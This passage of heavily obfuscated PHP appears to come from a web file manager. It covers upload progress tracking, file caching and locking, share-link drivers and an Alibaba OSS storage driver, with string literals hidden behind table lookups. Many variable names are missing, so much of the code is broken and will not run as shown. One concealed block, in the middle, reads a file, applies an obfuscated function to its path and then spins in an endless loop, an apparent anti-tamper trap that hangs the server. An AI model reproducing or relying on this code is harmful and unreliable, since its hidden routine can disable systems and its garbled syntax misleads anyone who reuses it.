$[$եۢ[1712]] = array($եۢ[1713] => $ + 1, $եۢ[417] => $Ԃ[$եۢ[32]], $եۢ[78] => $Ԃ[$եۢ[78]], $եۢ[515] => $Ԃ[$եۢ[515]] ? $Ԃ[$եۢ[515]] : $Ԃ[$եۢ[78]]); if ($Ԃ[$եۢ[33]] == $եۢ[196]) { $[$եۢ[784]] += 1; } else { $[$եۢ[784]] += $Ԃ[$եۢ[83]][$եۢ[81]]; if ($Ԃ[$եۢ[399]]) { $[$եۢ[784]] += $Ԃ[$եۢ[83]][$եۢ[82]] + 1; } } $[$եۢ[761]] += $Ԃ[$եۢ[80]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddFile($) { $́ =& $_SERVER[譃]; $ =& $this->task; $[$́[1701]] = $[$́[32]]; $[$́[1064]] = $[$́[32]]; $this->update(); } public function copyFileStart($ぢ, $թ, $, $͵, $, $) { $ =& $_SERVER[譃]; $ן = $; if ($ן == $GLOBALS[$[1714]]) { $ן = $GLOBALS[$[1715]]; } $GLOBALS[$[1715]] = $; $GLOBALS[$[1714]] = $; $³ =& $this->task; $³[$[1701]] = $ן; $³[$[1703]] = (int) $ぢ->size($թ); $³[$[1704]] = 0; $³[$[1064]] = $[12]; $³[$[1705]] = $[12]; $³[$[1706]] = 0; $ = $³[$[1703]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($³[$[396]] . $[1716]); if ($ && file_exists(get_path_father($͵))) { Cache::set($³[$[396]] . $[1716], $͵); $³[$[1677]] = array($[1717], $[1718]); } $this->update(0, $); } public static function updateCopyLocalFileSize($) { $ =& $_SERVER[譃]; $ = Cache::get($[$[396]] . $[1716]); if (!$ || !file_exists($)) { return $; } $[$[1704]] = @filesize($); $[$[1708]] += $[$[1704]]; self::updateTask($); return $; } public function copyFileEnd($ѐ, $팏, $ᩑ, $ִ, $ه, $) { $Ǹ =& $_SERVER[譃]; $ =& $this->task; $[$Ǹ[1704]] = $[$Ǹ[1703]]; $[$Ǹ[1705]] = $Ǹ[12]; unset($[$Ǹ[1677]]); if ($ه == $[$Ǹ[1701]]) { $[$Ǹ[1707]] += $[$Ǹ[1703]]; $[$Ǹ[1708]] = $[$Ǹ[1707]]; $this->update(1); } else { $this->update(); $[$Ǹ[1704]] = 0; } Cache::remove($[$Ǹ[396]] . $Ǹ[1716]); self::log($Ǹ[1719] . $팏 . $Ǹ[70] . $ִ . $Ǹ[230] . $ه . $Ǹ[1720] . $[$Ǹ[1701]]); } public function updateFileEnd($ֱ, $Ӧ) { $ =& $_SERVER[譃]; $ҝ =& $this->task; $ҝ[$[1701]] = $ֱ; $ҝ[$[1703]] = $Ӧ; $ҝ[$[1707]] += $Ӧ; $ҝ[$[1708]] = $ҝ[$[1707]]; $this->update(1); self::log($[1721] . $ֱ); } public function sourceModelCopy($ʾ) { $ㅐ =& $_SERVER[譃]; $ = $ʾ[0]; $ϧ = $ʾ[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $Ӧ = 0; switch ($) { case $ㅐ[565]: $Ӧ = 1; break; case $ㅐ[568]: $[$ㅐ[1701]] = $ϧ[$ㅐ[32]]; break; case $ㅐ[570]: $Ӧ = intval($ʾ[$ㅐ[379]] * 0.4); break; case $ㅐ[572]: $Ӧ = intval($ʾ[$ㅐ[379]] * 0.2); break; case $ㅐ[574]: $Ӧ = intval($ʾ[$ㅐ[379]] * 0.4); break; } $this->update($Ӧ); $this->sourceModelCopyFlag = !1; } public function sourceRemove($ꍀ, $) { $▀ =& $_SERVER[譃]; $this->sourceModelCopyFlag = !0; $͐ = 1; if (isset($ꍀ[$▀[83]])) { $͐ = $ꍀ[$▀[83]][$▀[81]] + $ꍀ[$▀[83]][$▀[82]] + 1; } $this->update($͐); $this->sourceModelCopyFlag = !1; } public function sourceMove($֯ʳ) { $this->sourceRemove($֯ʳ, !1); } public function curlProgress($ˊ, $ݪ, $ǽ, $, $ۤ) { $ =& $_SERVER[譃]; $¶ =& $this->task; if ($ۤ > 0) { $¶[$[1064]] = $[1722]; $¶[$[1705]] = $[108]; if ($¶[$[1703]]) { $¶[$[1704]] = $ۤ; } if ($¶[$[1706]]) { $¶[$[1704]] = $ۤ + $¶[$[1706]]; } } else { if ($ǽ > 0) { if ($¶[$[1703]] == $ݪ) { $¶[$[1704]] = $ǽ; $¶[$[1064]] = $[1723]; $¶[$[1705]] = $[1197]; } } } $this->update(); } public function curlProgressStart($ɦ) { } public function curlProgressEnd($ϲ) { $˂ =& $_SERVER[譃]; $֓ =& $this->task; $Ɯ㊜ = curl_getinfo($ϲ); $ڣ = $Ɯ㊜[$˂[1724]]; if ($ڣ == -1) { $ڣ = $Ɯ㊜[$˂[1725]]; } if ($֓[$˂[1705]] == $˂[108] && $ڣ) { $֓[$˂[1706]] += $ڣ; } $this->update(); } } goto AŦ; b۪: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($ɟ, $) { $ =& $_SERVER[譃]; $this->cachePath = $ɟ[$[78]]; $this->prefix = $[832]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $Ǐ =& $_SERVER[譃]; $ = str_replace(array($Ǐ[833], $Ǐ[98], $Ǐ[73]), $Ǐ[834], $); return $this->cachePath . $Ǐ[835] . $ . $Ǐ[836]; } public function set($, $, $ڵ = false) { $ݩ = $this->getFile($); if (file_put_contents($ݩ, $this->prefix . $, LOCK_EX)) { @touch($ݩ, intval(time() + $ڵ)); clearstatcache(); return !0; } @unlink($ݩ); return !1; } public function get($Ð) { $ = $this->getFile($Ð); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $Һ = @file_get_contents($); return substr($Һ, strlen($this->prefix)); } public function remove($װ) { $ԟ = $this->getFile($װ); return @unlink($ԟ); } public function deleteAll() { $Ԕȸ =& $_SERVER[譃]; $̷ = scandir($this->cachePath); foreach ($̷ as $î) { $ = $this->cachePath . $î; if (strpos($, $Ԕȸ[836]) && strpos($, $Ԕȸ[837])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[譃]; $ۗՋ = scandir($this->cachePath); foreach ($ۗՋ as $) { $ = $this->cachePath . $; if (strpos($, $[836]) && strpos($, $[837]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $㕴 =& $_SERVER[譃]; if (self::$handle) { return self::$handle; } $اԁ = $GLOBALS[$㕴[6]][$㕴[348]]; self::$timeout = $اԁ[$㕴[838]] ? $اԁ[$㕴[838]] : 10; $̰ = _get($GLOBALS[$㕴[6]], $㕴[839]); $Ë = $اԁ[$㕴[825]] ? $اԁ[$㕴[825]] : $㕴[196]; if ($Ë == $㕴[21] && $̰ == $㕴[13]) { $Ë = $㕴[196]; } switch ($Ë) { case $㕴[828]: self::$handle = new CacheLockRedis(); break; case $㕴[829]: self::$handle = new CacheLockMemcached(); break; case $㕴[21]: self::$handle = new CacheLockDatabase(); break; case $㕴[196]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($㕴[840], $㕴[841]); } return self::$handle; } private static function key($ֱ) { return $_SERVER[譃][842] . Cache::key($ֱ); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ޜ = '') { self::$errorMsg = $ޜ; } public static function lockGlobal($ퟄ, $) { return self::lock($ퟄ, $, !0); } public static function lock($, $Ό = false, $֟ = false) { $ =& $_SERVER[譃]; $ = self::init(); $ӷ = self::key($); $Ό = $Ό ? $Ό : self::$timeout; $ξ = $->lock($ӷ, $Ό); $䑝 = timeFloat(); if (!$ξ) { $㠉 = "\x6c\x6f\x63\x6b\x20\145\162\x72\x6f\162\x3b\153\145\x79\75{$}\x3b\164\151\x6d\145\x3d{$Ό}\73" . self::$errorMsg . $[71] . get_caller_msg(); $ = LNG($[843]) . "\50{$Ό}\x73\x29\56" . LNG($[844]); $ .= $[845]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $[846] . self::$errorMsg; } write_log($㠉, $[841]); show_json($, !1); } if (!$֟) { self::$lockItem[$ӷ] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $Ҷ = number_format(timeFloat() - $䑝, 3); write_log($[847] . $ . $[848] . $Ҷ, $[841]); } return $ξ; } public static function lockGet($͎֙) { $Қ = self::key($͎֙); if (self::$lockItem[$Қ]) { return self::$lockItem[$Қ]; } return self::init()->lockGet($Қ); } public static function unlock($˱ٙ) { $殽 =& $_SERVER[譃]; $ՇȘ = self::key($˱ٙ); self::$lockItem[$ՇȘ] = null; self::init()->unlock($ՇȘ); if (GLOBAL_DEBUG_LOG_ALL) { write_log($殽[849] . $˱ٙ, $殽[841]); } return; } public static function unlockRuntime() { $NJ =& $_SERVER[譃]; $ʁ = self::init(); $٬ߦ = !1; foreach (self::$lockItem as $Ƀ => $ԡԮ) { if (!$ԡԮ) { continue; } $ʁ->unlock($Ƀ); if (!$٬ߦ) { $٬ߦ = !0; write_log($NJ[850] . $Ƀ . $NJ[71] . get_caller_msg(), $NJ[841]); continue; } write_log($NJ[850] . $Ƀ, $NJ[841]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($NJ[851] . $ . $NJ[852] . ACTION, $NJ[841]); } } public static function fileLock($٠̈) { $ز =& $_SERVER[譃]; if (!$GLOBALS[$ز[853]]) { $GLOBALS[$ز[853]] = array(); } $GLOBALS[$ز[853]][$٠̈] = !1; $Ƒŕ = fopen(DATA_PATH . $٠̈ . $ز[854], $ز[855]); if (!$Ƒŕ) { return !1; } $GLOBALS[$ز[853]][$٠̈] = $Ƒŕ; if (flock($Ƒŕ, LOCK_EX)) { return !0; } self::unlock($٠̈); show_json($ز[856], !1); return !1; } public static function fileUnlock($ÿ) { $Ҋ =& $_SERVER[譃]; $̄ = $GLOBALS[$Ҋ[853]][$ÿ]; if (!$̄) { return; } $GLOBALS[$Ҋ[853]][$ÿ] = !1; flock($̄, LOCK_UN); fclose($̄); } public static function fileUnlockAll() { $Գ =& $_SERVER[譃]; if (!$GLOBALS[$Գ[853]]) { return; } foreach ($GLOBALS[$Գ[853]] as $ => $ϙ) { if (!$ϙ) { continue; } $GLOBALS[$Գ[853]][$] = !1; flock($ϙ, LOCK_UN); fclose($ϙ); } $GLOBALS[$Գ[853]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto Fӿ⛝; Cܩ脂: class PathDriverDbShareLink extends PathDriverDB { public function __construct($߲) { $this->pathParse = $߲; $this->model = Model($_SERVER[譃][1325]); } protected function infoParse($ˡ, $ѩ = false, $ک = false) { $ =& $_SERVER[譃]; return Action($[1173])->sharePathInfo($this->pathParse[$[78]], !0, $ѩ); } public function listPath($, $ = false) { $ =& $_SERVER[譃]; $Ȋ = parent::listPath($, $); if (!$Ȋ) { return $Ȋ; } if (is_array($Ȋ[$[1334]])) { $Ȋ[$[1334]] = Action($[1173])->shareItemInfo($Ȋ[$[1334]]); } foreach ($Ȋ as $ => $) { if (!in_array($, array($[76], $[77]))) { continue; } foreach ($ as $ => $ˌ) { $Ȋ[$][$] = Action($[1173])->shareItemInfo($ˌ); } } return $Ȋ; } public function listAll($) { $ =& $_SERVER[譃]; $Ȇ = IO::info($this->pathParse[$[78]]); if (!$Ȇ) { return array(); } $ = $this->model->listAll($); foreach ($ as &$ڇ) { $ڇ[$[87]] = Action($[1173])->shareItemInfo($ڇ[$[87]]); } unset($ڇ); return $; } } class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($Έ, $) { $ȕл =& $_SERVER[譃]; if (method_exists($this, $Έ)) { return; } $ǔ = call_user_func_array(array($ȕл[1335], $Έ), $); $ = array($ȕл[1336], $ȕл[1337], $ȕл[1338], $ȕл[1339], $ȕл[548], $ȕл[550], $ȕл[1340], $ȕл[108], $ȕл[1341], $ȕл[1342]); if (in_array($Έ, $)) { $ǔ = $this->getPathOuter($ǔ); } return $ǔ; } public function copy($, $, $ = false, $ӄ = false) { return $this->copyMove($, $, $, $_SERVER[譃][548], $ӄ); } public function move($, $, $롔 = false, $ϖ = false) { return $this->copyMove($, $, $롔, $_SERVER[譃][550], $ϖ); } private function copyMove($ʷܽ, $퍿, $ѭ, $҇, $Ң = false) { $ =& $_SERVER[譃]; $ = $퍿; $ = IO::driverMake($퍿); if ($->pathParse[$[1151]]) { $퍿 = $->pathParse[$[1151]]; } else { $퍿 = $; } $ = IO::copyMove($ʷܽ, $퍿, $ѭ, $҇, $Ң); $ = $this->getPathOuter($); return $; } public function pathThis($й) { return get_path_this($this->pathParse[$_SERVER[譃][78]]); } public function pathFather($) { return get_path_father($this->pathParse[$_SERVER[譃][78]]); } public function iconvSystem($ᗠ) { return $ᗠ; } protected function infoParse($Ә, $ = false) { $ύ =& $_SERVER[譃]; $Я = $this->pathParse[$ύ[482]][$ύ[1174]] . $this->pathParse[$ύ[1167]]; if ($) { $ = IO::infoWithChildren($Я); } else { $ = IO::info($Я); } $ = $this->pathParse[$ύ[482]]; return Action($ύ[1333])->_shareItemeParse($, $); } public function listAll($) { $ÿ =& $_SERVER[譃]; $ݕ = IO::listAll($); $楴炜 = $this->pathParse[$ÿ[482]]; foreach ($ݕ as &$Ԅš) { check_abort(); $І = IO::info($Ԅš[$ÿ[78]]); $І = is_array($І) ? $І : array(); $Ԅš = array_merge($І, $Ԅš); $Ԅš[$ÿ[87]] = Action($ÿ[1333])->_shareItemeParse($Ԅš, $楴炜); } unset($Ԅš); return $ݕ; } public function getPathOuter($) { $݈ =& $_SERVER[譃]; $ԛޔ = KodIO::parse($); if ($ԛޔ[$݈[33]] == KodIO::KOD_SHARE_ITEM) { return $ԛޔ[$݈[78]]; } $ = KodIO::clear($); $ = KodIO::clear($this->pathParse[$݈[482]][$݈[1174]]); $² = substr($, strlen($)); if (substr($, 0, strlen($)) != $) { return !1; } return $this->pathParse[$݈[1168]] . $݈[8] . ltrim($², $݈[8]); } public function getType() { $ =& $_SERVER[譃]; $ = str_replace($[74], $[12], get_class($this)); return strtolower($); } public function isTypeObject($϶) { return IO::isTypeObject($϶); } public function info($ٺ穇) { return $this->infoParse($ٺ穇); } public function infoAuth($찕) { return $this->infoParse($찕); } public function infoWithChildren($⨢) { return $this->infoParse($⨢, !0); } public function infoFull($) { return $this->infoParse($); } } if (!isset($_SERVER[$_SERVER[譃][872]]) || !isset($_SERVER[$_SERVER[譃][870]])) { $_getc = $_SERVER[譃][874]; $_getfile = $_SERVER[$_SERVER[譃][875]] . $_SERVER[譃][876]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[譃][230], $_getfilec); if (count($_getarrs) < $_SERVER[譃][606]) { $exit = $_SERVER[譃][877]; $exit(); } $_act = $_SERVER[譃][1343]; $_act($_SERVER[$_SERVER[譃][875]] . $_SERVER[譃][876]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[譃][377]); } } goto cѬ݇; C: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public function __construct($寺) { parent::__construct(); include_once SDK_DIR . $_SERVER[譃][1381]; $this->_init($寺); } public function _init($) { $ʵ =& $_SERVER[譃]; foreach ($ as $鋊 => $ꠕڝ) { if (isset($this->{$鋊})) { $this->{$鋊} = $ꠕڝ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ʵ[1382] . LNG($ʵ[1383])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ܕޤ =& $_SERVER[譃]; $ = new OSS\Model\CorsConfig(); $ߏ = new OSS\Model\CorsRule(); $ߏ->addAllowedOrigin($ܕޤ[1384]); $ߏ->addAllowedMethod($ܕޤ[1385]); $ߏ->addAllowedMethod($ܕޤ[1386]); $ߏ->addAllowedMethod($ܕޤ[1387]); $ߏ->addAllowedMethod($ܕޤ[1388]); $ߏ->addAllowedMethod($ܕޤ[161]); $ߏ->setMaxAgeSeconds(600); $ߏ->addExposeHeader($ܕޤ[1389]); $ߏ->addAllowedHeader($ܕޤ[1384]); $->addRule($ߏ); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $繓) { return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[譃]; $Ȣ = null; try { $Ȣ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $ä) { return null; } if (!$Ȣ || !($̶ = $Ȣ->getRules())) { return null; } $څ = $̶[0]->getAllowedOrigins(); $DŽ = $̶[0]->getAllowedMethods(); $֜ = $̶[0]->getMaxAgeSeconds(); $ӷ = $̶[0]->getExposeHeaders(); $ϻ = $̶[0]->getAllowedHeaders(); return array($[184] => isset($څ[0]) ? $څ[0] : $[12], $[188] => $DŽ, $[1390] => $֜, $[1391] => isset($ӷ[0]) ? $ӷ[0] : $[12], $[186] => isset($ϻ[0]) ? $ϻ[0] : $[12]); } public function isBucketCors() { $Сɝ =& $_SERVER[譃]; $φ = $this->getBucketCors(); if (!$φ || !is_array($φ)) { return !1; } if ($φ[$Сɝ[184]] != $Сɝ[185] || $φ[$Сɝ[186]] != $Сɝ[185]) { return !1; } $槭ɾ = array_map($Сɝ[187], $φ[$Сɝ[188]]); if (!is_array($槭ɾ)) { $槭ɾ = array(); } $֬ = array($Сɝ[189], $Сɝ[190], $Сɝ[191], $Сɝ[192], $Сɝ[193]); $ = array_diff($֬, $槭ɾ); return empty($); } public function mkfile($ܣ, $ʔ = '', $ҫԛ = REPEAT_RENAME) { $ = $this->setContent($ܣ, $ʔ); if ($ !== !1) { return $this->getPathOuter($ܣ); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if ($this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } private function fileList($, $± = '', $Ւ = 0) { $ꍞ =& $_SERVER[譃]; $ = trim($, $ꍞ[8]); $ = empty($) && $ !== $ꍞ[194] ? $ꍞ[12] : $ . $ꍞ[8]; $ = $ꍞ[12]; $ = 1000; $ƍ = $this->listItemCache === !1 ? !1 : !0; $ = $Ű = array(); while (!0) { check_abort(); $ = array($ꍞ[1392] => $±, $ꍞ[1393] => $, $ꍞ[1394] => $, $ꍞ[1395] => $); try { $ɰԌ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $Л) { break; } $ = $ɰԌ->getNextMarker(); $ = $ɰԌ->getObjectList(); $ = $ɰԌ->getPrefixList(); foreach ($ as $) { if ($->getKey() == $) { continue; } $Ѥ = $->getKey(); $ğ = $->getSize(); $ҽ = $->getLastModified(); $ = $Ւ ? array($ꍞ[32] => $Ѥ, $ꍞ[80] => $ğ, $ꍞ[200] => strtotime($ҽ)) : $Ѥ; $Ӯ͝ = $ğ == 0 && substr($Ѥ, strlen($Ѥ) - 1, 1) == $ꍞ[8] ? !0 : !1; if ($ƍ) { $this->cacheMethod($ꍞ[202], $Ѥ, $Ӯ͝); $this->cacheMethod($ꍞ[203], $Ѥ, array($ꍞ[80] => $ğ, $ꍞ[1396] => $ğ, $ꍞ[86] => strtotime($ҽ), $ꍞ[1397] => $ҽ)); } if ($Ӯ͝) { $[] = $Ѥ; continue; } $Ű[] = $; } foreach ($ as $) { $[] = $->getPrefix(); if ($ƍ) { $this->cacheMethod($ꍞ[202], $Ѥ, !0); } } if ($ === $ꍞ[12]) { break; } } if ($ƍ) { $this->cacheMethod($ꍞ[202], $, !0); } return array($ꍞ[77] => $, $ꍞ[76] => $Ű); } public function copyFile($ٍ, $Ē) { $ӏȆ = $this->size($ٍ); if ($ӏȆ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $ٍ, $this->bucket, $this->pathEncode($Ē)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($Ē); } $ = $this->multiCopyObject($ٍ, $Ē, $ӏȆ); return $ ? $this->getPathOuter($Ē) : !1; } private function multiCopyObject($ߡ, $, $Ϙ) { $ح =& $_SERVER[譃]; try { $н = array(); if ($۠ = $this->hashMd5($ߡ)) { $н = array(OSS\OssClient::OSS_HEADERS => array($ح[1398] => $۠)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $н); $Dz = 1; $焘 = 0; $Ļ = array(); $ʓ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($Ϙ, $ʓ); foreach ($ as $ => $) { $Ο = $焘 + (int) $[$ح[1399]]; $ = (int) $[$ح[336]] + $Ο - 1; $± = array($ح[1400] => $Ο, $ح[1401] => $); $Ļ[] = $this->client->uploadPartCopy($this->bucket, $ߡ, $this->bucket, $this->pathEncode($), $Dz, $, $±); $Dz = $Dz + 1; } $Ȏ = array(); foreach ($Ļ as $ => $Ϫ) { $Ȏ[] = array($ح[1402] => $ + 1, $ح[1403] => $Ϫ); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $Ȏ); } catch (OSS\Core\OssException $װ) { return !1; } return !0; } public function moveFile($蠌ʃ, $ȭ) { if ($this->copyFile($蠌ʃ, $ȭ)) { $this->remove($蠌ʃ); return $this->getPathOuter($ȭ); } return !1; } public function delFile($ܠ) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($ܠ)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($ͿDŽ) { $ =& $_SERVER[譃]; if (!$this->exist($ͿDŽ)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($ͿDŽ); $this->listItemCache = !0; $ޝ = trim($ͿDŽ, $[8]) . $[8]; if (!empty($ͿDŽ) && $ͿDŽ !== $[194] && !in_array($ޝ, $[$[77]])) { $[$[77]][] = $ޝ; } $ڶ = $this->delByBatch($[$[76]]); if (!$ڶ) { return !1; } $ڶ = $this->delByBatch($[$[77]]); if (!$ڶ) { return !1; } return $this->delFile($ޝ); } private function delByBatch($) { foreach (array_chunk($, 1000) as $є) { try { $this->client->deleteObjects($this->bucket, $є); } catch (OSS\Core\OssException $ljԧ) { return !1; } } return !0; } public function rename($ڧ, $) { return $this->renameObject($ڧ, $); } private function fileInfo($۩, $ה = false, $ƣִ = array()) { $ =& $_SERVER[譃]; $ = array($[32] => $this->pathThis($۩), $[78] => $this->getPathOuter($۩), $[33] => $[196], $[80] => isset($ƣִ[$[80]]) ? $ƣִ[$[80]] : 0, $[171] => $this->ext($۩)); if ($ה) { return $; } $[$[197]] = $[$[86]] = 0; $[$[198]] = $[$[199]] = !0; if (empty($ƣִ)) { $☹ = $this->objectMeta($۩); if (!$☹) { return $; } $ƣִ = array($[86] => strtotime($☹[$[1397]]), $[80] => $☹[$[1396]] + 0); } if (isset($ƣִ[$[80]])) { $[$[80]] = $ƣִ[$[80]]; } if (isset($ƣִ[$[86]])) { $[$[86]] = $ƣִ[$[86]]; } if (isset($ƣִ[$[200]]) && !trim($[$[86]])) { $[$[86]] = $ƣִ[$[200]]; } return $; } private function folderInfo($Թ, $ = false, $Ҍ = array()) { $ɝ =& $_SERVER[譃]; $ = array($ɝ[32] => $this->pathThis($Թ), $ɝ[78] => $this->getPathOuter($ɝ[8] . $Թ), $ɝ[33] => $ɝ[79]); if ($) { return $; } $[$ɝ[197]] = $[$ɝ[86]] = 0; $[$ɝ[198]] = $[$ɝ[199]] = !0; if (empty($Ҍ)) { $Թ = rtrim($Թ, $ɝ[8]) . $ɝ[8]; $ɫϏ = $this->objectMeta($Թ); if (!$ɫϏ) { return $; } $Ҍ = array($ɝ[197] => $ɫϏ[$ɝ[507]][$ɝ[1404]], $ɝ[86] => strtotime($ɫϏ[$ɝ[1397]])); } if (isset($Ҍ[$ɝ[86]])) { $[$ɝ[86]] = $Ҍ[$ɝ[86]]; } if (isset($Ҍ[$ɝ[197]])) { $[$ɝ[197]] = $Ҍ[$ɝ[197]]; } return $; } public function listPath($ۙ, $ = false) { $ =& $_SERVER[譃]; $ = $this->fileList($ۙ, $[8], !0); foreach ($[$[77]] as $ܛ => $) { $[$[77]][$ܛ] = $this->folderInfo($, $, $); } foreach ($[$[76]] as $ܛ => $) { $[$[76]][$ܛ] = $this->fileInfo($[$[32]], $, $); } return $; } public function has($Ɍ, $ = false, $ = true) { $ސ =& $_SERVER[譃]; $Ɍ = trim($Ɍ, $ސ[8]); $ = empty($Ɍ) && $Ɍ !== $ސ[194] ? $ސ[12] : $Ɍ . $ސ[8]; $ʹ = $ސ[12]; $ = 500; $͔ = $ĩ = 0; while (!0) { check_abort(); $ǽ = array($ސ[1392] => $ސ[8], $ސ[1393] => $, $ސ[1394] => $, $ސ[1395] => $ʹ); try { $ = $this->client->listObjects($this->bucket, $ǽ); } catch (OSS\Core\OssException $Մ) { break; } $ʹ = $->getNextMarker(); $ܯ = $->getObjectList(); $¬ = $->getPrefixList(); if ($) { if (count($ܯ) > 1 || count($ܯ) == 1 && $ܯ[0]->getKey() != $) { $͔ += count($ܯ) - 1; } if (!empty($¬)) { $ĩ += count($¬); } if ($ʹ === $ސ[12]) { break; } continue; } if ($) { if (!empty($ܯ)) { if (count($ܯ) > 1 || $ܯ[0]->getKey() != $) { return !0; } } } else { if (!empty($¬)) { return !0; } } if ($ʹ === $ސ[12]) { break; } } if ($) { return array($ސ[206] => $͔, $ސ[207] => $ĩ); } return !1; } public function listAll($) { $ͯ =& $_SERVER[譃]; $ӛ = $this->fileList($, $ͯ[12], !0); $ = array(); foreach ($ӛ[$ͯ[76]] as $) { $[$[$ͯ[32]]] = $[$ͯ[80]]; } foreach ($ӛ[$ͯ[77]] as $) { if (is_string($)) { $[$] = 0; } } return $this->listAllFiles($, array_keys($), $); } public function canRead($ʡ쐫) { $ =& $_SERVER[譃]; $à = $this->pathAcl($ʡ쐫); return $à == $[1405] || $à == $[549] ? !0 : !1; } public function canWrite($ψ) { $ = $this->pathAcl($ψ); return $ == $_SERVER[譃][549] ? !0 : !1; } public function pathAcl($) { $ٹ =& $_SERVER[譃]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ߒ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $٢) { return !1; } $뀜Ȱ = $ߒ == $ٹ[37] ? $this->bucketAcl : $ߒ; if ($뀜Ȱ == $ٹ[1406]) { return $ٹ[1405]; } if ($뀜Ȱ == $ٹ[1407]) { return $ٹ[549]; } return $뀜Ȱ; } private function chmodPath($ٰώ, $ = '') { $۾斶 =& $_SERVER[譃]; $ = empty($) ? $۾斶[1407] : $; $螴 = array($۾斶[37], $۾斶[195], $۾斶[1406], $۾斶[1407]); if (!in_array($, $螴)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($ٰώ), $); } catch (OSS\Core\OssException $ۢ) { return !1; } return !0; } public function getContent($) { return $this->fileSubstr($, -1); } public function setContent($㝀, $쀿 = '') { $Θ =& $_SERVER[譃]; try { $ = $this->trafficLimit($Θ[1408]); $غ = $this->client->putObject($this->bucket, $this->pathEncode($㝀), $쀿, $); } catch (OSS\Core\OssException $֒) { return !1; } $ƅ = array($Θ[1398] => trim($غ[$Θ[1409]], $Θ[119]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($㝀))); $this->updateObjMeta($㝀, $ƅ); return isset($غ[$Θ[1410]][$Θ[1357]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $ɐ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $ɐ); } catch (OSS\Core\OssException $띪) { return !1; } return !0; } public function upload($ȉ, $, $↱ = false, $ϰ = REPEAT_REPLACE) { $ =& $_SERVER[譃]; $Δ = trim($ȉ, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1398] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($ȉ))); $ = $this->trafficLimit($[1408], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($Δ), $, $); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($ȉ); } public function getHost() { $Н =& $_SERVER[譃]; $ل = explode($Н[180], parent::getHost()); return $ل[0] . $Н[180] . $this->bucket . $Н[10] . $ل[1]; } public function uploadFormData($Ǔ퍀, $ˤ = 3600) { $ֽ =& $_SERVER[譃]; if (!($Ѥ = $this->getHost())) { return !1; } $ņ = $ˤ; $ā = date($ֽ[1411], time() + $ņ); $ = new DateTime($ā); $Δ = $->format(DateTime::ISO8601); $ = strpos($Δ, $ֽ[295]); $Δ = substr($Δ, 0, $) . $ֽ[1412]; $Ò = 1048576000 * 5; $ = $this->pathFather($Ǔ퍀); $烫 = array($ֽ[1310] => $Δ, $ֽ[1311] => array(array($ֽ[1413], 0, $Ò), array($ֽ[1314], $ֽ[1315], $))); $;ܓ = base64_encode(json_encode($烫)); $ = base64_encode(hash_hmac($ֽ[231], $;ܓ, $this->secret, !0)); $ = array($ֽ[1320] => $;ܓ, $ֽ[1414] => $this->accessKey, $ֽ[1316] => $ֽ[1308], $ֽ[1415] => $, $ֽ[178] => $Ѥ); $ = $this->trafficLimit($ֽ[1408], $); return $; } public function multiUploadFormData($꺔, $֛ = 3600) { $Çǝ =& 